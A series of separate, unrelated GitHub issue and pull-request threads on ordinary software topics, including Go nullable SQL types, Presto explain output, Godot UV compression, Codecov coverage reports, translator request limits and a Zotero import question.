I'm not entirely sure why the database/sql package requires using special types to represent nullable fields, as opposed to plain old pointer types. Why don't all of the built-in Go types just feature sql.Scanner implementations, including arbitrarily deep pointers?
In any case, the API here is limited to a paltry set of types, compared to the full set of built-in types actually available to Go. We are missing nullable:

Unsigned integers
Non-64 bit width integers
Timestamps
Runes
Structs (esp. for JSON SQL columns)

Sure, we can probably skip over complex numbers due to SQL generally not supporting complex numbers as standard types. But the aforementioned types are very common to use, so it would be better to round out the halfway marshaling and actually support these. As of now, users have to write a lot of custom code to manually marshal and truncate these types, with plenty of risk for error compared to built-in API's.

@bradfitz @kardianos @kevinburke

Unsigned integers in SQL databases are rare  / often not supported.
NullTime proposal is accepted I need to implement.
Runes.... I don't think we need to support this, I'd want a use case.
Structs... That kinda lands in the land of database specific implementations. Though I'd be happy to know of a specific use case.

I'd like to make a better API for passing values out and I've sketched some ideas out, but nothing final yet.
If you want to make a case for having a NullRune type or if you want to do a survey of databases that support complex structures like JSON, please do so.
I have other strategies I used to avoid these problems in general, so feedback on this area is great. Thanks!

NullTime is on its way. The others seem very specialized. I don't even know how we would handle all structs.
Note that for an arbitrary type T, the way to write sql.NullT is *T (pointer to T).
We can leave this on hold for generics but probably the answer is just use a pointer type. Those are nullable automatically.

@kardianos the main internally-defined sql.Scanner/driver.Value type we use all over the place is NullInt32. This is because we want to use a 32-bit integer in our code for IDs which are 32 bits in the DB. So (in postgres):
integer NOT NULL -> int32
bigint NOT NULL -> int64
integer -> NullInt32
bigint -> NullInt64
(Naturally we prefer NullInt32 to turning a bunch of small integers into pointers.)

I mailed a CL to support int32. I don't see any other nullable types being added as they are either specific to the database or uncommon. Int32 (INT or INTEGER) is commonly used in many databases and database schemas today.

I've closed this issue. I really can't see adding any other Nullable types in the Go std lib. If you think differently please open up a new issue showing how it will be useful on a type by type basis.

why not add Nullable?

type Nullable struct {
	Value interface{}
	Valid bool
}

func (s *Nullable) Scan(src interface{}) error {
	if src == nil {
	        s.Valid = false
		return nil
	}
	s.Valid = true
	return convert.ConvertAssign(s.Value, src)
}

@kardianos Hello. Why Value() in NullInt32 returns int64????? It's really strange.

@nicola-spb As far as I can tell, it doesn't. Can you show your code or reproduce the issue? Or even link to the database/sql code that you are talking about?

golang 1.13 https://github.com/golang/go/commit/2177bfb343c4950be88536044bb38c90f05ad3ed#diff-5b3d7257e10f4efeecb9517a1b6d0c28R260
I use it like this
func ToInt32(number sql.NullInt32) *int32 {
	var res int32
	if n, _ := number.Value(); n != nil {
		res = n.(int32)
		return &res
	} else {
		return nil
	}
}

and wrap results from database
tWrapper := &TWrapper{
	Id:        wrappers.ToInt32(t.Id),
}

Don't use value method, that is for driver. Use field.

I use sqlx. What is field? Can you give example please?

Use https://godoc.org/database/sql#NullInt32.Int32
The field Int32 in the NullInt32 struct.

Ok. Thank you.
P.S. It's better of course. I rewrote functions.


Include filtered columns in EXPLAIN (TYPE IO)

See issue here: https://github.com/prestosql/presto/issues/1120. This PR adds the columns that are filtered on taking the same approach as PlanPrinter.java. We use this information to track which columns are most frequently filtered to drive which columns should be clustered on. Who would be the right person to review, @martint?

@Praveen2112  can you take a look at this one?

@dain Sure

@Praveen2112 - thanks for the review. Good suggestions. This new version is much simpler than the previous one.

@Praveen2112 - done. Thanks again for reviews.

What's the purpose of separating them into two sets (i.e., "constraints" and "filters"). For the purpose of describing how columns are being considered for filtering at the bottom level, I think just having them all in one set would be simpler and much easier to explain to users.

The reasoning to separate partition constraints from other constraints are:

Easier post processing of io explain plan. The processes that analyze the explain plan don't easily know which columns are partition columns and they need to treat them differently. For example, we want to know which columns are most commonly filtered on so need to normalize to io explain plan results. We'd want to aggregate results together for two queries that only differ on which partitions are filtered (i.e. they have different date ranges in the query).
Keep format of JSON backward compatible. Existing processes may depend on only having partition constraints under the constraints element.

(1) could also be solved by adding an attribute or element to the JSON element to indicate that it's a partition constraint.

Thinking about this more, I think the post processing of the io explain plan will be fine if it's combined into one set. There's still the issue around backward compatibility, but perhaps that's not an issue/goal?

The old field used to be called columns. Now it's columnConstraints vs columnFilters, so that's already a backward incompatible change. I think we should just put them all under columns so format-wise it's still compatible.
Note that there's nothing that says those columns would be partition keys -- remember that the engine has no notion of such a concept. The list is just a description of the domain of the columns being considered for the query. In that sense, putting them all in the same set is in the spirit of that concept.
If tools do any interpretation of the results and the list of columns, they are likely aware of whether a column is a partition key or have access to metadata about that. They should be responsible to filter out those that are not interesting to them.

Thanks for the review, @martint.  I've updated the PR based on your feedback.

This is ready for review. Thanks for the previous reviews, @martint.


Reimporting Complex Graphql API Definition File Corrupts the API

Description:
While trying to re-upload the API schema file, all API operations get overruled, and the API is no longer operational. After importing the Graphql API, all the operations are listed as expected. The operations get overruled after reimporting the Graphql schema definition, and API is not usable afterwards.
This issue is only seen for complex Graphql schema definitions, and no error gets thrown in the console. I tested the same scenario with smaller Graphql files, and they are working as expected.
Steps to reproduce:

Import GraphQL API
Check operations are available
Go to Schema Definition
Import Definition
Use the same Graphql definition file
You will notice Operations were changed to /*

Affected Product Version:

WSO2AM 3.2.0

Issue is not reproduced in master


Fixed some typos and grammar.

Some typos where found by aspell: aspell -l en_US check README.md

bump


Signal-with-start support

We had most of the support for this in place already, but the tricky bit was that we had to move Workflow execution away from a 1:1 receive commands from Temporal server -> flush commands to Temporal server model. We actually need to exhaust the activation queue in its entirety before flushing results up to the server. Switching to away from Control.Concurrent.Chan to Conctrol.Concurrent.STM.TQueue gives us the necessary primitives to do this properly.

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

Current dependencies on/for this PR:

main

PR #2

PR #3   👈

This stack of pull requests is managed by Graphite.


Add an ENV to configure initial context

Add an ENV to configure initial context and avoid a manual step either with a "docker exec" either with a temporary UI access with root (/) context to change it.
Default value of NEXUS_CONTEXT is "/".

+1 to the PR (after couple comments resolved above) thanks!

Any progress on this PR?

@fabdouglas hi there!
Firstly, thanks for the contributions. Secondly, can you fill out a CLA, sign and send it to me: jhesse at sonatype dot com
http://www.sonatype.org/SonatypeCLA.pdf
Once we have that I'll try and get this merged down!

Closing in favor of #40


Randomize native extension response identifiers to facilitate concurrency

Randomize native extension responseId to facilitate concurrency.
Update window message handler to filter out responses with no matched resolvers sooner.
Add unit tests to make sure concurrent calls to app.initialize() do not interfere with each other.

Codecov Report

Merging #5903 (b14dd53) into dev (81d34b4) will increase coverage by 10.64%.
The diff coverage is 96.65%.

Flag
Coverage Δ

msal-angular
96.73% <96.65%> (+0.22%)
:arrow_up:

msal-browser
?

msal-common
?

msal-core
?

msal-node
?

msal-node-extensions
?

msal-react
94.24% <ø> (-0.45%)
:arrow_down:

node-token-validation
?

Impacted Files
Coverage Δ

lib/msal-angular/src/msal.guard.ts
90.78% <90.78%> (+0.64%)
:arrow_up:

lib/msal-angular/src/msal.navigation.client.ts
93.33% <92.85%> (+0.47%)
:arrow_up:

lib/msal-angular/src/constants.ts
100.00% <100.00%> (ø)

lib/msal-angular/src/msal.broadcast.service.ts
100.00% <100.00%> (ø)

lib/msal-angular/src/msal.interceptor.ts
100.00% <100.00%> (ø)

lib/msal-angular/src/msal.module.ts
100.00% <100.00%> (ø)

lib/msal-angular/src/msal.redirect.component.ts
100.00% <100.00%> (ø)

lib/msal-angular/src/msal.service.ts
100.00% <100.00%> (ø)

lib/msal-angular/src/packageMetadata.ts
100.00% <100.00%> (ø)

... and 222 files with indirect coverage changes


Fix multiple issues with UV compression

Fixes: https://github.com/godotengine/godot/issues/84089
The root of https://github.com/godotengine/godot/issues/84089 comes from how we compress UVs. When using the compressed format, we have to scale UVs into the 0-1 range. To cut down on data that needs to be passed into the shader, we always scale around 0. Which means that to take an arbitrary range and convert it into 0-1, we need to divide by 2 * the maximum absolute value and add 0.5.
This compresses 0-1 UVs into 0.5-1 or, alternatively -2-2 uvs into 0-1.
This compression makes sense and is cheap, but it comes with a fatal flaw. The most common use case for uvs is the 0-1 range. When you convert 0-1 into 0.5-1 and convert to 16-bit, you end up with a range of 0.49992 - 1, which uncompressed in the shader becomes -0.0002 - 1.
This is fine when the UV is only used for reading textures. But, the shader in https://github.com/godotengine/godot/issues/84089 assumes that UV is always positive (which is a fair assumption) and it ends up with undefined behaviour when UVs are surprisingly not positive. I am worried that this will be a common case among users.
We have two possible solutions:

Force 0.0 to scale to something slightly over 0.5 (tricky to manage properly)
Avoid scaling 0-1 range UVs.

I opted for option 2. The shader only runs the unscaling code if the uv_scale != vec4(0.0). So we detect when UVs are in the 0-1 range and avoid scaling them. We still compress to 16-bit though to respect the compression setting.
While implementing this fix, I noticed that the code to retrieve arrays from the GPU wasn't unscaling the UVs as it should and was returning the scaled UVs. This was an oversight from when compression was added as, originally, we only compressed UVs in the 0-1 range and we never applied scaling.
I have added the code to unscale.
This second bug hasn't been reported yet, but it can be reproduced trivially with the following code:
	var mesh = ArrayMesh.new()
	var arrays = Array()
	arrays.resize(Mesh.ARRAY_MAX)

	var verts = PackedVector3Array()
	var uvs = PackedVector2Array()

	verts.push_back(Vector3(0.0, 0.0, 0.0))
	verts.push_back(Vector3(0.0, 0.0, 0.0))
	verts.push_back(Vector3(0.0, 0.0, 0.0))

	uvs.push_back(Vector2(0.0, 1.5))
	uvs.push_back(Vector2(0.5, 0.5))
	uvs.push_back(Vector2(0.5, 0.5))

	arrays[Mesh.ARRAY_VERTEX] = verts
	arrays[Mesh.ARRAY_TEX_UV] = uvs
	mesh.add_surface_from_arrays(Mesh.PRIMITIVE_TRIANGLES, arrays, [], {}, RenderingServer.ARRAY_FLAG_COMPRESS_ATTRIBUTES)
	var arrays2 = mesh.surface_get_arrays(0)
	print(arrays2[Mesh.ARRAY_TEX_UV])

With no compression this prints [(0, 1.5), (0.5, 0.5), (0.5, 0.5)],
In Beta 3 this prints [(0.499992, 1), (1, 0.666667), (1, 0.666667)]
With this PR, this prints [(-0.000008, 1.5), (0.5, 0.5), (0.5, 0.5)]
Finally, this binds ARRAY_FLAG_COMPRESS_ATTRIBUTES which was missing in the API

Thanks!


Add test that presto is started as presto user

Make sure that the user of server's pid is presto
change run_prestoadmin_script to run_script_from_prestoadmin_dir and
extend to be able to run on other hosts than master

Testing: make lint, ran test, sandbox with all tests and new RPM

This patch will need to be added to a special release branch, because it only works with 115t (and the fix in Presto will take a bit to be merged).

@rschlussel @anusudarsan please review

looks good

looks good


Add link to slides for 'Almost-actors' talk

Supplement PR #454

The sublist seems odd. Can you switch it to a single line as some of the other combo Slide and Video ones are"


Add tests for note sorting and serving static content

Codecov Report

Merging #91 into master will increase coverage by 0.82%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master      #91      +/-   ##
==========================================
+ Coverage   75.64%   76.47%   +0.82%
==========================================
  Files          11       11
  Lines         731      731
==========================================
+ Hits          553      559       +6
+ Misses        131      126       -5
+ Partials       47       46       -1

Impacted Files
Coverage Δ

main.go
67.42% <0%> (+2.28%)
:arrow_up:

model.go
82.45% <0%> (+3.5%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 00daeb8...d779742. Read the comment docs.


add a tag automatically on block creation?

Hello!
Is it possible to have your plugin add the tag to the beginning of the line as soon as the block is created? (automatically i mean)

[[date-tag]] Text of the block
...

Thanks!

Yes, that'd be great! :)


I fell into an endless loop while traversing HTML using jsoup

Today, I'm stuck in a loop when I use the Element attribute nextElementSibling() method of jsoup to traverse HTML

I might have made a mistake.


Character limit or request limit while using Google Translate using deep-translator

Code
translated = GoogleTranslator(source='auto', target='german').translate(text=text)

# Alternatively, you can pass languages by their abbreviation:
translated = GoogleTranslator(source='en', target='de').translate(text=text)

I tried few examples with Google Translator, which works fine. But if I  use this package in production,

Is there any character limit while sending the request. I see 1800-2000 character limit ( https://stackoverflow.com/questions/18754905/google-translate-api-cannot-send-more-than-2000-characters-per-request ) but is there any specific limit from deep-translator documented
IS there any limit in numbers of request to be sent in particular time frame or day

Any help on this is much appreciated.

Google has a page about their quotas here: https://cloud.google.com/translate/quotas

Google has a page about their quotas here: https://cloud.google.com/translate/quotas

Those APIs (unlike deep-translator) require API key from google. Are you sure the same limits apply here?

@SalehDehqanpour good point: deep-translator is using the endpoint https://translate.google.com/m (source: deep_translator/constants.py) and I wasn't able to find any confirmation on Google's site that this endpoint really is OK for third-party use.  If it's not, then the limits are undocumented and it could stop working at any time.

any update on this?


qa_crowbarsetup: Do not fail when there's no manila proposal

"false && foobar" is still giving an exit code of 1. We have the same
here, and this makes qa_crowbarsetup fail.

+1

+1

+1.  This is a good example of why it's bad practice to use && or || instead of if ... fi.


How can I perform queries on an already existing graph

How can I access the *graph struct without having to create a new one, but rather an existing one?

Please check the docs https://oss.redislabs.com/redisgraph/commands/#graphquery.

okay thanks :)


chore(deps): upgrade dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade" workflow

Codecov Report

Merging #23 (269bd31) into main (4958138) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##              main       #23   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            3         3
  Lines           27        26    -1
=========================================
- Hits            27        26    -1

Impacted Files
Coverage Δ

src/backend-stack.ts
100.00% <100.00%> (ø)

src/lambda/process-metrics-function.ts
100.00% <100.00%> (ø)

src/stateful-stack.ts
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ac6ecec...269bd31. Read the comment docs.


Fix the paths for SettingsView.swift and SettingsView+SyncView.swift.

The path included a lot of "../../../../" and included hardcoded paths under /Users/ethan

Thank you! I keep doing this but Xcode Beta keeps messing it up.


Remove ParameterList and Parameter node types

similar to #67, modifiers can be declared without parentheses or with parentheses and no arguments.
Could you return null when there are no parentheses, parentheses without arguments []?

Sure. Note that this change moves the parser further away from an AST towards a concrete syntax tree, which is convenient for some use cases, but may get us into trouble later. I may reconsider this decision in the future.

You are right. I freaked out because of that particular test not passing.
I don't see any problem with prettier-solidity enforcing the removal of parentheses from the code in this case.
I'm creating a list of valid use cases where prettier-solidity should change the code other than adding and removing whitespace here and there. This looks like one of those cases but will have to talk it first.

I just started a discussion in prettier-plugin-solidity to see what other people think about this subject.

Thank you! Note that I am not altogether against supporting use cases that require a CST, and I definitely want to keep supporting prettier-solidity, but I do want to consider how these changes fit together on the whole instead of going around addressing things on an ad-hoc basis with the end result being pulled between users that want to get a clean abstract view and users who want to know more about the code as written.

Maybe making this library output both CST and AST would be a good idea? As @federicobond suggested, sometimes we want AST and sometimes CST, but we shouldn't have something in between I guess.

@federicobond Maybe should also have a dedicated BREAKING.md for logging the breaking changes and in README.md mentioning the versions having breaking changes?


Problems importing data from JabRef

Debug log ID
#D435554656.
What happened?
Good morning,
I work as a researcher in history and for a long time I have been using the JabRef program for my bibliographic database. I recently started using Zotero, given the dynamism of that program.
I imported my database from JabRef and everything seemed to work fine, until I realized that certain entries weren't working in Zotero.
The fact is that, for the construction of bibliographies with primary sources, JabRef allows you to create custom bibliography types that allow you to cite unpublished or daily documents. I created a type in JabRef (Periodical) that has worked perfectly for me. However, Zotero is unable to import it and consequently I am unable to use those entries.
Zotero gives me an import error, which I'll pass on immediately.
here the Zotero's error
Don't know what Zotero type to make of 'periodical' for @BolLegi186672, importing as document
Here the JabRef Citation
@periodical{BolLegi186672,
journal = {Legislative and Official Bulletin 1866-1872},
title = {{{\normalfont A.N.H. -- Legislative and Official Bulletin}}},
year = {1866},
number = {Series 1a, No. 1},
month = {02},
address = {Tegucigalpa},
keywords = {Newspapers},
}
Best regards,

The sample is enough. I'll see what I can do tonight.

That's just an informative note. The item has been imported. I don't know what you want that BBT does differently.

Closing for inactivity


Add Delay option after reaching a waypoint

Would be cool, if you can add a delay after reaching a waypoint.
e.g. in the example of rival trench auto you posted on CD, you can stay for 0.5 sec after you reached the balls, than continue the path.

FWIW, we do this as two paths in a SequentialCommandGroup, with a WaitCommand in between.

I think it is better to do this with #73. This way you can just add a delay between paths instead of hard coding it in the path.


Kotlin/Native fails to link in release mode

Missing debug info, likely due to the use of SYNTHETIC_OFFSET.
Reproducer (to land with fix):
kotlin {
  targets.withType<org.jetbrains.kotlin.gradle.plugin.mpp.KotlinNativeTargetWithTests<*>> {
    binaries {
      // Configure a separate test where code is compiled in release mode.
      test(setOf(NativeBuildType.RELEASE))
    }
    testRuns {
      val release by creating {
        setExecutionSourceFrom(binaries.getByName("releaseTest") as TestExecutable)
      }
    }
  }
}

I couldn’t reproduce this with today’s code. The release build links.
@JakeWharton if there’s a next step that this was blocking, please give it another run!